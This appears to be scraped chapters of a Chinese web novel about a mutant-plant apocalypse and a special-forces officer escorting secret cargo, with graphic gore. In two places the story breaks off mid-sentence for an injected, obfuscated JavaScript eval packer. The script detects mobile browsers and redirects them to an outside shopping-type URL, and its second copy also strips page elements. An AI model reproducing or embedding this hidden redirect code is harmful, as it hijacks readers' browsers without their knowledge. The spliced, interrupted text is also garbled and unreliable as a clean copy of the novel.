不远处传来接二连三的砰砰撞击声,是已经逃上车的人们在逃离的过程中剐蹭碰撞到了一起,但没人顾得了那么多,然而就在第一辆车即将冲出停车场的一刹那,旁边的大树猛地砸了下来。 咚!—— 那树有一人合抱那么粗,砸下来的时候就像是猛地甩头一样毫无预兆。 车子顶棚被砸得整个凹陷了下去,几乎碰到了车底盘,车轮缓缓停下,有血从扭曲变形的车门下滴滴答答流了出来。 那树发出了咯吱咯吱的声音,树干居然又缓缓挺直恢复成原状,柔韧度几乎诡异,沾血的树叶沙沙作响,像是很愉悦。 吴罪大概知道之前路上的树是怎么倒的了。 “树杀人了!”人们爆发出更加声嘶力竭的尖叫,大量的人们就像是无头的苍蝇一样疯狂逃窜,有人打开车门逃下来,却忽地一旁不知道从哪里伸出很多根藤蔓把他牢牢卷住甩到了空中,又猛地拽了下来,下方的树干从中间裂开,变成一张血盆大口,一口把人塞了进去,更多的藤蔓开始在场地中间横扫,车子都被掀翻。 那简直是地狱般的场景,浓郁的血腥味好像激活了什么,停车场的四周全是树,不同的树出现了不同的变异,它们对人类展开了疯狂的进攻,几乎封死了全部的出口,甚至有的树有了从土里移动出来的趋势。 更可怕的是超市里的人听到外面的动静,好奇地跑出来看,结果不是被外面疯狂乱开的车撞到,就是被树直接拍死或者卷走吃掉。“都别出来!!”吴罪把一个姑娘从树枝缠绕中拽下来往超市那边一推,又冲着人群大叫:“都回超市里!关上卷帘门!” 外面有人听到了他的话跑进了超市,有的人太惊慌了还在到处跑。 刚才的猫人已经彻底恢复了过来,扑倒一个乱跑的中年阿姨,一口咬穿了她的大动脉。 吴罪刚要动,忽然被人抓住了脚:“救命!大哥救救我!” 吴罪一低头发现是之前的保时捷男,他被一辆侧翻的车压住了腿,哭得涕泗横流,早没了之前的嚣张:“求求你!救命啊!” 吴罪抓起一旁不知道从哪掉出来的钢筋,塞进车下用力撬动。 男人眼睁睁看着远处的阿姨抽搐了两下就不动了,吓得魂飞魄散:“这是什么东西?是猫还是人?” “看见她脖子上的伤了吗?”车底很快撬开一个缝,吴罪抓住男人的领子,手臂上的肌肉猛然绷紧,一把将男人从车底拽了出来,“那道血线看上去像是撕裂伤,我怀疑这个小姑娘之前被变异的猫咬掉了脑袋,然后猫和她的身体融合了。” “动……动物也会变异?还会融合!”男人哆嗦得不成样子。 “树都能变成这样,何况动物。”吴罪没有时间再说更多,一把抓住男人的领带,“听着,你现在立刻跑到超市里把卷帘门关上,超市里面只要不被入侵,起码能保证里面的绝大多数人的安全。” 男人被他的强大气质震慑住了,周围的背景音充斥着哭喊和惨叫,吴罪的沉稳在这片混乱中格格不入,他的眸子深黑,冷静又强势,让人感觉只要他出手,就没有解决不了的事情。 自己当初是脑子抽了才去抢他的车位。 吴罪:“听清没有!” “听清了!”男人不知道哪里来的勇气,拔腿冲向了超市,“我这就去!!” 吴罪冲着周围大喊:“一分钟时间!外面的人快进超市!” 人们终于反应过来,争先恐后地往超市跑。 五个!十个!十五个! “快进超市!”“快!!”超市里的人也开始一起冲外面大声喊。 男人已经守在了超市门口的卷帘门按钮处,声音几乎破音:“要关卷帘门了!最后十秒!” 离得近的人已经全部跑了进去,远处的顾不上了,视野所及还有三个姑娘正在拼命冲来,那只猫却也察觉到了他们的动作,放开阿姨的尸体扑了上来! 男人的手指在按钮上目眦欲裂,身后的众人全都汗毛倒立:“快啊!!” 三个女孩距离门口只有几米的距离,猫怪咆哮一声,四肢抓地一跃而起,就在即将抓到其中一个长发女孩后背的一刹那,她旁边的姑娘猛地推地一推,把长发女孩推进了超市里。 卷帘门唰啦一声紧跟着落下! 猫爪次啦一声挠在卷帘门上,发出让人牙酸的声音,超市里面的人们惊魂未定,看着卷帘门被猫暴躁地挠出了好几个明显的凹陷。 “小沁!”“新月!”被推进来的女孩大哭着扑向卷帘门。 外面,猫转而扑倒了刚才舍命推朋友的女生,那女生的后脑勺砸在地上登时晕了过去,猫刚要下口,忽地后背被另一个女生用易拉罐狠狠砸中。 “别碰她!”宋沁怒吼一声,吼完才猛然回过神来,自己手无缚鸡之力,这种吸引注意力的举动完全是在找死,猫怪狞笑着向她缓缓走来,忽然跳起来发难! 宋沁猛地闭上眼睛,只听风声呼啸,忽然她的胳膊被人一把拽住,一股巨力猛地把她扯向一边,结实强壮的臂膀紧紧抱住了她。 两人重重地摔在了一旁的地上,宋沁睁开眼,看见了抱着她的是个俊朗高大的男人,眉目深邃面部轮廓硬朗,男人冲着她笑了一下:“小姑娘胆子挺大。” 一股血腥味飘进鼻腔,宋沁低头发现男人的肩膀被利爪划破了,殷红色正从他的T恤下渗出来。 她还没来得及说话,吴罪忽地把她往旁边一推,几乎是同时猫怪再次扑来。 接下来的画面时隔很多年宋沁都记得,男人以一种人类几乎不可能有的反应速度翻身躲开,然后抓起一旁掉落的灭火器狠狠砸中了猫怪的脚,猫怪暴怒大叫一声,张开布满锋利剑齿的嘴咬向他的喉咙,吴罪忽的反手抓住身后的车沿一跃而起,那一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这可是吴罪啊!赤刃特种部队的教官之一吴罪!如果不是场合不对他真想和吴罪好好握个手。 “多亏了您在!否则这超市里的几百号人恐怕……” 吴罪对他的到来不感到意外,一摆手,示意特派员回车上说:“现在情况怎么样?” 事件刚一发生他就立刻通知了上面,但特警居然用了这么久才到,只怕是全城的状况都不容乐观。 首都尚且如此,其他省市又会如何? 特派员紧跟在吴罪身后,吴罪步子大,他几乎得小跑着才能跟上: “冲击波发生后的第五个小时变异就开始了,最先就是首都的郊区,第一例死亡事件是果农被树枝勒死,一个小时之内死亡人数超过30个,之后伤亡人数呈几何倍数增长,到现在初步估计首都的死亡人数已经达到了一千六百人。国内其他省市的增长速度和首都类似,以首都为半径,离得越远开始的时间越晚,今天凌晨2点左右,全国所有省市都已经有了变异案例。” 以这个速度下去,过不了多久警力和医疗资源就会全面透支。 吴罪的心脏一沉再沉,而且这情况并不仅限于国内,而是全球的危机,恐怕世界都要大乱。 事情远比他想象的要严重。 5. 诱饵 “变异包括植物和动物的自身变异融合,还有其他形式吗?”吴罪眉头紧锁跳上特警车。 特派员:“目前没有观测到其他形态的变异。普遍来说变异的动植物会变得嗜血,会主动攻击人类。这种变异概率和发生机制还不确定,无法进行预测。” 吴罪砰的一声拉上车门,偌大的车厢里只剩下他们两人。 “都到这个时候了,就不要藏着掖着了,”吴罪眯起眼睛,胳膊肘搭在膝盖上,盯着特派员,明明是随意的姿势,却有种巨大的压迫感,“到底是什么引起的这次冲击波?” 特派员被他强大的气场震慑得喉咙发紧:“长官,这个我不……” “不能说?”吴罪冷笑一声,表面没什么表情,但眼底的冰冷却让特派员忍不住想要发抖,“冲击波从首都郊区发出,明摆着是军事实验。一个实验玩脱了造成了全球危机,到现在已经死了多少无辜群众?还要再死多少人!上面到底在测试什么武器?有没有逆转的办法?” 忽的,刺耳的专线电话铃声响起,特派员颤抖地将电话从内侧口袋取出,双手递给吴罪:“领导亲自跟您说。” 内线电话上显示出一个名字,那是一个所有人都耳熟能详,经常出现在新闻联播里的名字。 吴罪神色肃穆,接起来:“领导。” “赤刃特种部队第二小队副队长吴罪?”对面的中年男人快速沉声问。 吴罪:“是我。” 背景音一片嘈杂的声音,以往这些声音是根本不可能在领导打电话的时候出现的,但现在显然不是一般情况,吴罪能听到许多人声和翻箱倒柜声,像是在急迫地整理文件准备带走。 “情况徐特派员应该已经和你说清楚了,现在需要你立刻归队,执行一项紧急任务。”中年男人的语气非常严肃,“有一份重要的秘密文件资料磁盘在第九军事基地,需要你立刻带队将其护送转移到重山市。” 吴罪的心里并不意外却也有些意外。 意料之内的是领导在这个时候找到了他,作为H国最神秘最顶尖的特种部队,在最紧急的时候最重要的任务一定会交给他,不管他是不是在停职状态。 意外的是任务的内容,吴罪看到特派员的那一刻脑海中已经罗列了无数种任务可能:保护首都关键电力系统、护送国家领导人、寻找和保护某重要科学家…… 却没想到只是护送一份资料,这种任务的难度在这种危急时刻虽然会成倍增加,但真的用得上赤刃部队吗? “冲击波之后境外势力已经入境,想要借此机会窃取我国重要机密,因此此次任务尤为重要,除了防备变异生物,你们也要做好遭遇境外势力袭击的准备,具体情况徐特派员会告诉你……” “领导!”吴罪打断对方说话的举动称得上是大逆不道,但是此时他已经顾不得那么多了,“请告诉我危机发生的原因,我需要充分了解情况才能更好地完成任务。” 对面忽的陷入沉默,吴罪只能听到背景音的嘈杂和自己急促的心跳。 然后对面再次开口,声音更沉了几分:“这件事是绝密,只有参与该项目的直接人员和高层知道,我不可能在电话里告诉你,等你到了重山市,自然会知道真相。” 这话一出,相当于坐实了吴罪心中八成的猜想,他知道这是现阶段他能得到的最接近答案的回答了,于是应声说:“赤刃特种部队第二小队副队长吴罪收到指令!” “吴罪同志,”中年男人的声音很重,像是坠落深渊的石头发出的闷响,“请务必完成任务。” - 第九军事基地坐落在首都的西北侧郊区,距离市区一百多公里的深山里。 吴罪乘坐直升机过去,一路上从天上往下看,只觉得触目惊心。 短短几个小时城市已经陷入了混乱,到处是相撞的车和奔跑的人群,滚滚浓烟从建筑物里升腾而起,爬山虎包裹住高楼大厦还在不断蔓延,有的道路都被植物占据,不时有人惨叫着被怪物扑倒,惨烈的事故随处可见,警察和救援队伍已经无暇顾及。 人们惊慌地从首都城里向外逃窜,高速路早就堵死,从高空能看到蜿蜒的长龙一直延伸到视野不可及的地方。 吴罪和自己的小队成员到达第九军事基地的时候,基地负责人已经早早守在门口,同时到达的还有某兵团的营长和五十名精锐士兵,营长向吴罪敬礼,他们将在赤刃部队的带领下一起完成任务。 这么大阵仗的任务,汪子维却不在。 队员庄凌云迅速把装备递给吴罪:“上面临时有任务把他叫走了。” 梁景瑞冷笑:“我看是临阵脱逃了吧,他爸哪敢让宝贝儿子在这种时候出任务?” 吴罪穿上防弹衣背上枪,一巴掌拍在他后脑勺上:“都别废话了,准备出发!” 两分钟后,全副武装的车队从第九军事基地驶出,八辆军车护送主车,前四辆确保路线安全,后四辆负责监测后方和侧翼防止突袭,最中间则是装着磁盘资料的反伏击长厢主车。 车子稳稳地行驶在山间弯道上,所有士兵都端着枪严阵以待。 钱乐乐和吴罪在主车里,吴罪的视线落在车厢中央紧密的门上,眉头微微皱起。 磁盘才多大,需要用这么大的车? 这车的车厢长足有二十多米,人甚至可以在里面跑跳,这就像是在盘子上放一粒芝麻,有点不太匹配。 而且其实这种护送任务其实不适宜搞这么大阵仗,只安排赤刃部队几人护送反而更安全,现在简直像在招摇过市,就像生怕别人注意不到似的…… “前方发现变异生物。”无线电里忽然传来第一辆车的传来汇报,车队停下,几阵枪响之后,又很快恢复了行驶。 出乎意料,深山中的植物动物远比城市要多,但是变异的比例和程度似乎远远低于城市,沿途遇到了几波变异植物挡路,但是很快就在强大的火力下被解决了。 眼看到了山坳里,距离专用机场还有20公里,吴罪按住无线电:“注意观察周围,这里的地形非常适合伏击……” 他话音还未落,巨大的爆炸声猝然响起,第一辆悍马瞬间被掀翻,刹那间火光冲天,另一侧的山包上忽的冒出了十几个人影,开始疯狂地向着车队扫射! “报告!一号车遭遇袭击!”烈火中两个特种兵拉着受伤的士兵迅速从侧翻的悍马里爬了出来,以一旁的山石为掩体躲避枪林弹雨,“是M国人!目测二十人以上!” “所有人做好准备!”吴罪眼睛发亮,像是终于开刃的刀,“客人远道而来,可不能怠慢了!” 无数的子弹几乎把车队打成筛子,后车上的营长:“吴队枪太密了!我们没法下车反击!” 吴罪透过主车侧面的小窗看向外面,手臂上强悍结实的肌肉微微绷紧:“别急。” 下一秒他竟然直接拉开了小窗,山上的子弹顿时朝着小窗铺天盖地地打来,子弹穿过窗子噼里啪啦地射在车厢里。 就在这一刻吴罪动了,一般人完全不知道这一刻和之前有什么区别,但是钱乐乐却勉强捕捉到,从大概西侧方向射来的重机枪声忽的停了,这在密集的枪雨中几乎听不出来,大概率是子弹打空了在换弹夹,然而就是这瞬间的空隙,吴罪端起狙击枪从窗口向外砰的一声射击。 远处山头上正在换弹夹的敌人眉心赫然多出一个血洞,向后倒了下去。 这一枪震惊了对方所有人,没有人想到在这种火力压制下吴罪能有机会开枪,更没有相信在眼睛都几乎无法看清的情况下居然能击中对方主力,那几乎不是人能做到的反应速度和精准度,判断力简直可怕! 吴罪一声令下:“反击!” 这么多年并肩作战早已达成了超高的默契,赤刃部队带着士兵们迅速跳下了车,以车身或者巨石为掩体开始了疯狂的反击。 敌人的火力瞬间被压抑,然而忽的不远处另一个山头上也有枪声响了起来。 “我操还有毛子!”激烈对狙中队员任建大叫,立刻带着一组士兵转移扫射方向。 宋晓峰:“来抢东西的是两拨人!” 引得M国和R国同时来抢,这东西究竟有多大的价值? 战局越发焦灼,不断有双方的人倒下,子弹在周围的石头上迸射出火花,敌人两方加起来的数量远远多于他们,吴罪立刻做出决定:“乐乐,鲈鱼,立刻带人护送磁盘走!其他人拖住敌人!” 两名队员没有片刻耽搁飞快地带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520985|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人冲上主车,卢宇轰地一声开车载着资料朝着前方疾驰而去。 敌人哪里肯放人,立刻有几辆车从山上的不同方向冲下来追了上去! 吴罪冷静地更换弹匣,精准地瞄准车胎,砰砰两枪,追在前面的车爆了两胎顿时失去方向撞到了树上,车上金发碧眼的老外大骂着跳下车,赤刃部队立刻带人杀上去。 然而忽的一旁的大树动了,几根的枝条猝然伸出,三个M国兵根本来不及反应就被狠狠勒住甩到了空中。 噗嗤一声! 其中一个人被从腰部勒断,爆裂的内脏和血沫如同天女散花一样落了下来,紧接着另个老外惨叫着被抡在了地上拍成了人饼,还有一个被直接塞进了树干张开的大嘴里。 这一幕的残忍程度连见识过最残忍战场的特种部队都骇然,紧接着周围原本沉寂的树木也纷纷有了变异的趋势,无数的枝条晃动起来,疯狂地朝着地面上的人扑去。 吴罪一声暴喝:“所有人上车!快走!” 这些植物似乎是会在血腥味刺激下被激发变异,在这种情况下硬刚就是找死!况且有了植物拖住敌人,他们还愣在这干什么?不如立刻去追主车! 所有人立刻反应过来,掉头直奔远处车上。 吴罪丢掉狙击枪,抓起冲锋枪朝着那些树疯狂扫射,掩护同伴们撤离,却忽的看见R国和M国剩下的几辆车也正在飞速逃离现场,分别从不同方向下了山坡,比他们更快地追向了主车的方向。 “队长我们这就来接你!”梁景瑞几乎破了音的声音从无线电里传来,悍马撞开树枝就要朝着吴罪驶来。 吴罪在瞬间做出了决定:“别管我!拦住敌人的车!” “可是……” “截住他们之后立刻去找主车!一定要把磁盘送到重山市!”吴罪不容置喙的声音从无线电里传出来,“这是命令!” “是!!” 几辆悍马调转车头,轰鸣着追向敌车。 吴罪一人背着狙击枪冲上山坡高点。 敌人的车太多,我方车队应付不来。 自己至少再解决两辆! 吴罪在山石后蹲下,枪口对准了东侧疾驰而走的R国车的油箱,砰的一声开枪!刹那间油箱的汽油被点燃,车子瞬间爆炸,红光冲天。 枪口立刻移动瞄准下一辆,然而就在这一瞬间吴罪浑身的汗毛都炸了起来,那是一种对危险的第六感——右侧远处草丛里还躲着没走的敌人! 一枚RPG火箭筒直奔他的掩体山石而来,爆炸掀起的冲击波将吴罪震飞十几米,重重摔到了山坡下的密林里。 …… 与此同时,另一组车队正在急速从山的另一面下山。 如果有赤焰部队二队的特种兵在,他们就会震惊地发现这辆主车几乎和他们护送的一模一样。 而更让人震惊的是,这支车队的护送者竟然同样是H国最精锐特种部队之一,龙影部队一队。 他们只有三辆车,两辆悍马军车一前一后护送,主车在中间,非常低调且隐秘。 主车里,龙影部队一队的队长肖威和队员程天明正严阵以待。 车厢正中央竖立着一个巨大的竖直玻璃容器,周围连接着各种叫不出名字的种高级管线仪器,容器的透明液体里悬浮着一个浑身赤-裸的“人”—— 他的皮肤莹白如雪,每一寸骨骼和肌肉都完美得恰到好处,双腿微微蜷缩靠近腹部,有一根管子从他的肚脐处延伸出来与外部的某个仪器相连接,此时他微微低着头,双眼紧闭,即便是口鼻处被呼吸机遮盖,也能看出惊人的美貌。 惊人,这个词毫不夸张,男人的睫毛浓密而长,紫色的长发在水里飘动着,反射着绸缎一样细腻又晶莹的光,那是一种摄人心魄的美,美到极致几乎让人不敢直视,却又忍不住地被吸引。 程天明的视线移过去,又强迫自己移走,几次之后终于变成了凝望。 他几乎有些看呆了,这在训练有素的特种兵身上完全是不可能发生的事情,然而程天明却真真切切地失了神,有那么一瞬间他甚至忘了自己是谁、在做什么,下意识想要伸出手,想要触碰容器壁,渴望那高高在上的“人”垂怜,睁开眼睛看看自己。 6. 初遇 “天明!”肖威一声怒喝,“清醒一点!” 程天明猝然回神,脸色涨红:“对不起队长,我不知道我怎么了。” 正在一旁记录数据的随车高级研究员笑了笑:“是会有这种情况发生的,1号实验体因为容貌过于美丽,会对观看者产生一种强吸引力,我们在实验过程中都会尽量避免长时间直视他的脸。” 程天明不可置信地喃喃说:“他真的是人造的?” 穿着白大褂的高级研究员点头:“当然是。” 人真的能造神吗?程天明脑海中莫名冒出这么一个念头,随即又觉得自己荒唐。 “他头上箱体显示的进度条是怎么回事?”肖威问。 “那个啊,”研究员看了一眼水箱上正显示到95%的绿色数字,半小时前这个数字还是91%,“这是能量值恢复指标。1号实验体之前有些失控,所以我们剥夺了他的能量来源,在这个数值不达到100%之前,他如果脱离营养池,就会对身体造成严重损伤。” 再多的他不能说了,研究员望着营养池中的男人,像是看着一件艺术品:“但能量剥夺不能太久,我们正在缓慢释放他的能量,用不了多久这个数值就会恢复到100%。” 程天明问:“那他会醒来吗?” 他不敢想象如果实验品睁眼了会是怎样震撼的场景。 研究员点点头:“大概率会吧。” 忽的,前方猝然传来了巨大的撞击声! 肖威的耳机里传来前车队员声嘶力竭的喊叫:“队长!我们遭遇袭击!是一只巨型……啊!!——” 话音未落主车被什么东西重重地撞到,整辆车瞬间失控倾斜,车轮发出尖锐的摩擦声,径直冲下了主路,砰的一声撞上了一旁的大树。 肖威强撑着扶住侧墙:“下车!” 程天明端着枪紧跟上去,研究员吓得失声尖叫,肖威握住门把手扭头冲他叫道:“在这里别动!我们出去之后立刻锁上车门!” 然而他话音未落,主车的金属门忽的被什么东西猛的一撞,立刻凹陷了下去,紧接着又是一下。 肖威死死抓着把手,脑门上渗出冷汗,另一只手按住无线电:“小武,陈星!外面什么情况!” 小武和陈星分别是前后两车的负责队员,也是一队的骨干,然而此时无线电里传出一片杂音,一丝人声都没有。 研究员的声音抖得不成样子:“是怪物!怎么会?我们明明已经用了信号屏蔽器了,明明已经够隐蔽了!” 咚!咚!咚!外面的撞击越来越激烈,像是急不可耐! 怪物变异的速度和程度远超过预期,一队原本打算悄无声息地护送实验体到机场,现在看来已经没希望了。 肖威深吸一口气:“天明。” 程天明脸色苍白,却依旧坚定,端枪的手很稳,像是下定了某种决心:“队长,我们走!” 肖威猛的打开了车厢大门,带着程天明冲了出去,外面顿时响起了激烈的枪响,研究员用尽全身的力气冲向门把手,想要把门关上,就在这一瞬间枪声停了,一个尖锐的东西猛的洞穿了他的右胸。 研究员抓着门把手呛出一口血,他低头看去,只见穿通他肺叶的是一根舌头,一根长达五米、锋利如剑的舌头。 研究员颓然从车上摔了下去。 一只巨大的、带着粘液的爪子扒上了车沿,紧接着,一双巨大的黑色眼睛探了进来——那是一只绿色的变异青蛙。 不,不是青蛙,它的头上长着枝叶和花,紧跟着探进来的不是另一只爪子,而是锯齿状的镰刀。 这是一只青蛙、螳螂、植物的融合体。 眼睛左右转动,怪物一点点爬进来,它的镰刀上粘着血和碎肉,划过车厢的时候传来尖锐刺耳的锐响。 在它的身后尸横遍野,赤刃部队第一小队全军覆没,哪怕是最强悍的特种部队、最高级的枪,在刀枪不入的高级怪物面前也全无反手之力。 但奇怪的是,这只怪物在进入车厢后却犹豫了,似乎察觉到了某种危险的气息,它停下,然后注意到了车厢正中央的水箱和里面的人。 上面的进度条显示:98%。 怪物看不懂文字,它只觉得水箱里的东西似乎很美味,嗜血的欲望逐渐战胜了恐惧,它猛然张开血盆大口,杀伤力极强的舌头瞬间弹出,砰的洞穿了水箱! 哗啦!!—— 营养液裹挟着玻璃碎片冲出来,有一些甚至划伤了男人细腻的皮肤,就连腹部的管子也被冲掉。 鲜血刺激着怪物兴奋地咕咕怪叫起来,舌头再次弹出,这次瞄准的是水箱里人类的心脏! 就在这一瞬间,男人睁开了眼睛。 淡紫色的眸子宛若星河,抬手抓住了怪物的舌头。 那似乎只是随手一抓,动作堪称优雅,但如果有高倍摄像机的话就会发现那速度简直快到了极致。 怪物的表情变得极度惊恐,它发现自己居然无法挣脱这个人类,一股能量控制住了他,强大到不可思议。 它惊慌失措地挥动镰刀砍向男人的头,然而下一秒,一股紫色的光顺着男人的手蔓延到它的舌头又扩散到他全身。 怪物像是僵直住了一样动弹不得,就在这时,男人轻轻一扯。 噗嗤!—— 鲜血四溅,怪物的舌头被生生拽了出来,轰然倒地,然后似乎有什么东西掉了下来,啪嗒一声轻响。 男人从容器的残骸中迈了出来,地上的玻璃碎片和水被无形的力量推开,自动让出一条路,修长白皙的脚趾踩在地上,一步步走向车厢门口。 他身上的水飞速蒸发,紫色的长发如瀑般从肩头垂落,白皙的身体在阳光下反射着钻石一样的光,如果细看,就会发现他的小腹处似乎有个形状奇特的图案的纹身,像是某种花。 男人随手拿起挂在车子侧壁的一件白大褂披在身上,走下了车。 “咳咳……”研究员倒在角落里,他的肺漏了,却还没有死去,像个破风箱似的喘息着。 男人走到他面前,居高临下地看着他。 研究员颤抖起来,像是哀求,也像是后悔:“对不起……我们不该那么对你的……不该折磨你……” 男人绝美的脸上淡淡的,看不出愤怒,只是问:“你们拿了我的东西,它在哪?” 研究员摇头:“那是最高机密,我不知道……韩博士负责,只有他知道。” 韩博士这三个字让男人微微皱了皱眉,然后他弯下腰,研究员痛苦地挣扎起来想要逃离,却发现男人只是把手放在了他的身体上方,似乎有一股温热的能量涌入他的身体,又顺着他残破的胸口流了出去。 “我记得你,你没有伤害过我。”男人紫色琉璃似的眼睛平静地看着他,“但你伤得太重,我治不好你。” 研究员诧异地抬头,愣了许久,泪水流了下来:“对不起,真的对不起……” 男人轻声说:“我宽恕你了。” 研究员表情逐渐释然安详,虚弱地笑起来,他看向太阳的方向,喃喃地说:“我妈妈来接我了……” 大概几秒钟后,他的瞳孔彻底放大了。 妈妈。 男人似乎微微动容,然而他的表情忽的变得痛苦,低喘了一声按住了小腹。 撕心裂肺的绞痛从腹部深处升起,仿佛内脏都被毒蛇绞紧。 怎么会? 男人转头,视线越过怪物的尸体看向车厢内——刚才连接着他腹部的管子被玻璃割破了一个口子,上方的进度条停在99%。 忽的旁边草丛晃动,眼看又有新的变异要发生,男人忍痛随手一扬,紫色的光从白大褂袖口挥出,那些乱动的怪草瞬间枯萎了下去。 然而几乎是立刻,更加强烈的疼痛席卷而来,针扎似的剧痛毫不留情地在他的身体里肆虐翻搅。 男人用力咬住嘴唇才没闷哼出声,修长的手指隔着白大褂猛的用力压入小腹里,痛得额头上都出了薄汗。 传输过程被强行打断,他的身体严重受损,此时使用任何能力都会造成加重损伤。 远处的草又动起来,那些以往他用一个眼神就能解决的小东西,现在已经对他构成了威胁。 男人深呼吸一口,长长的睫毛在眼底投下浓重的阴影,一滴冷汗顺着他尖削的下巴滴落下去。 不能再使用能力了,他必须立刻找到一个不被打扰的地方尽快休息。 - 吴罪醒来的时候不知道过去了多久,夕阳的余晖正好落在他脸上,把他晃醒了。 然后他就发现自己好像倒挂在树枝上,周围一片郁郁葱葱。 运气真不错。 吴罪忍不住笑出了声,他就是那种无论在什么境地都不会轻易认命的性格,被炸飞掉下山崖都不死,除了浑身散架一样痛也没受重伤,挂着他的树也没变异,让他觉得自己牛逼极了,八成是命里带福。 吴罪一个倒立仰卧起坐就要起身,却不曾想居然没起来。 然后他就意识到不是他的腹肌不 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这片山叫金灵峰,地处偏僻,占地面积极广,山的深处藏着军事基地,但周边也有一些旅游民宿,甚至零散的别墅居民区。 偶尔也有摩托爱好者来这边溜山,这位可怜人大概就是在骑行过程中遇到了变异植物的突袭。 普通民众面对这种浩劫简直无从抵抗,一旦被怪物盯上,生存的概率约等于零。 吴罪的心情有些沉重,然后他就看到了倒在一旁不远处的摩托车,顿时眼睛一亮。 正吃得开心的大树忽的听到了摩托启动的声音,它困惑又愤怒地晃动起枝条,不相信居然有人在自己眼皮子底下偷车,居然还一点都没有引起它的注意! 枝条猛的扑过去,摩托车一个漂亮的漂移,直接调转方向,原来刚才作势要冲过来只是障眼法,吴罪轰的一脚油门,潇洒地扬长而去。 - 有了交通工具就方便多了,摩托车沿着山路疾驰,吴罪不断尝试用通讯器联系队友,却一直没有得到回应。 “赤刃部队二队请回话,赤刃部队二队请回话!” 他们怎么样了,有没有把磁盘顺利送走? 吴罪神色凝重,一边继续朝着某个方向行驶,一边再次尝试通讯,却忽然听到通讯器里传来了一阵轻微的噪音。 信号干扰,这附近有相近频率的信号源! 车子吱的一声急刹停在路边,吴罪跳下车。 通讯器里的噪音时强时弱,吴罪握着通讯器试探地往四个方向晃了晃,发现往前的噪音最大。 会是战友吗?还是敌人? 吴罪把通讯器揣进口袋里,把肩上的枪端起来,咔嗒一声上膛,警惕地继续向前去,绕过一道弯后,忽的停住了—— 那简直是让人毛骨悚然的惨烈景象,到处都是残肢断臂,内脏的碎屑满地都是,一辆悍马被撞的变了形倒在路边,密密麻麻的矮小变异花草被血腥味吸引而来啃食着地上的尸体,到处都是咯吱咯吱的咀嚼声,植物几乎占满了整个路面,就像是成片蠕动的啮齿动物。 从尸体破损的衣服能看出来他们是军人,吴罪对那种制服再熟悉不过,那是特种部队的制服。 一个没来得及关的通讯器正躺在一只断手旁的血泊里,发出接连不断的信号干扰,震动声在血泊里掀起微弱的涟漪。 吴罪嘴唇紧抿成了一条线,握着枪的手用力到骨节发白,一脚踹开一朵要往他脚踝上咬的变异花,往深处走。 更远的地方,一辆反伏击长厢车车头侧已经被撞烂,滑掉到了山坡下,卡在了树和树的夹缝中。 吴罪看着那和自己队伍运送的如同复制粘贴一样的运输车,眸中神色翻涌。 他绕开满地的尸体走下去,跳上车。 第一个映入眼中的是一具巨大的变异怪物尸体,这是他末世以来见过的最大的变异动物,看样子还是青蛙、螳螂和树的融合体。 所以融合体最多能融合多少个?有没有上限? 吴罪皱眉蹲下来检查青蛙的尸体,发现青蛙的舌头被扯了出来,几乎连着喉管都被拽烂,死状惨烈。 青蛙是这里的特种部队全军覆没的原因,还有什么东西能杀死青蛙? 吴罪握紧了枪,抬起头,视线落在车厢深处破碎的玻璃容器上——里面的东西早已不翼而飞。 就在这时,他忽然听到了一声很轻的呻-吟。 7. 骗子 那呻-吟很轻,从不远处传来,是男人的声音,像是强忍着什么痛苦,磁性的嗓音从鼻腔里溢出来,带着隐忍的颤,听的人心里发酥,忍不住升起保护欲。 然而吴罪的第一反应却是端起了枪。 在这种惨烈的情况下有活人的概率很小,谁知是不是变异生物进化出了模仿人声音的能力? 吴罪迅捷地从车上下来,落地无声就像一只猫,从车厢的另外一侧绕到了后面,下一秒猛的跨步将枪对准了发出声音的东西。 如果那是一个怪物,瞬间就会被吴罪爆头,然而吴罪的手指扣在扳机上并没有按下。 他的瞳孔微微放大,整个人微微愣住,甚至无意识的吸了一口凉气——眼前的人穿着白大褂,像是实验室研究员,他跪坐在车侧的废墟里,那侧脸简直惊人的美丽,冷汗打湿了他额前的半长的乌黑碎发,他侧靠着一块掉落的铁皮框架,右手紧紧按着腹部,因为太用力白大褂勾勒出他了清瘦如蝶翼的肩胛骨,身子轻轻颤抖着。 吴罪的声音都不自觉地放轻了:“你是什么人?” 男人吓了一跳抬起头。 美到一定程度是有冲击力的,吴罪的心猛一动,这世界上居然有这么漂亮的人,他紧盯着男人微微上挑的眼尾,被汗水打湿的睫毛,还有那深黑色如同星辰的瞳孔,由于轮廓过于深邃,有点像混血,但又不是很能确定。 如果不是当下的情景,甚至让人有种置身电影海报拍摄片场的错觉。 看到他的特种部队衣着,男人像是找到了依靠,强撑的力气像是终于用尽,只说了一个“我”字就向前倒了下来。 吴罪两步冲到年轻男人面前,一把接住了他。 他的腰好细。 有点出乎意料,那侧腰狭窄劲瘦,握住的时候手感非常好,不像是科研人员常年不运动瘦出来的软肉,而是非常柔韧、劲瘦的薄肌,吴罪的五指微微张了张,他不知道自己为什么这么做,好像是下意识丈量,又像是克制着握紧的冲动。 “抱歉,”男人靠在他肩膀上,几乎全部的重量都落在吴罪身上,“被怪物的枝条抽到肚子,疼的有点起不来了……” 他忍痛的颤抖呼吸就在吴罪颈侧,吴罪被他的气息喷到的地方一层层地起鸡皮疙瘩,微微发烫。 以往在部队里和些泥腿子们光着膀子摔跤打架甚至一起洗澡的时候多了去了,吴罪面从来没觉得有什么,然而此时此刻他却感觉自己不太对劲。 “没事。”吴罪的喉咙有点紧,他侧头就能看到江玄灵白皙的后颈,“这里发生了什么?” 